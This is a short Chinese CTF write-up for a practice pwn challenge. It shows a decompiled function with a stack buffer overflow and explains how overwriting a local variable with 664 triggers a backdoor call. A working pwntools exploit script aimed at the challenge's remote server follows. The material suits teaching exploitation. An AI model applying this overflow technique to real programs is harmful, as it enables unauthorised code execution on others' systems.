很简单的一道题,vuln()函数如下:
int vuln()
{
int result; // eax
char buf[36]; // [rsp+0h] [rbp-30h] BYREF
int v2; // [rsp+24h] [rbp-Ch]
int v3; // [rsp+28h] [rbp-8h]
int v4; // [rsp+2Ch] [rbp-4h]
v4 = 1;
v3 = 1;
v2 = 1;
read(0, buf, 0x30uLL);
result = v3 + v4 + v2;
if ( result == 666 )
result = backdoor();
return result;
}
思路:v2覆盖成664即可。但是需要注意两点:
1)p64是send一个 long int,如果使用p64会把v3覆盖掉(覆盖为0),io.send(p64(664)) 结果为665。
2)需要用send不能用senline,因为换行符的ascii为10。一旦使用io.sendline(p32(664)),结果为675。
from pwn import *
elf = ELF('./My_sword_is_ready.ready')
local = 0
if local == 1:
io = process('./My_sword_is_ready.ready')
else:
io = remote('pwn.challenge.ctf.show',28101)
io.recvuntil("with bit!\n")
payload = 'a'*(0x30-0xC)+p32(664)
io.send(payload)
io.interactive()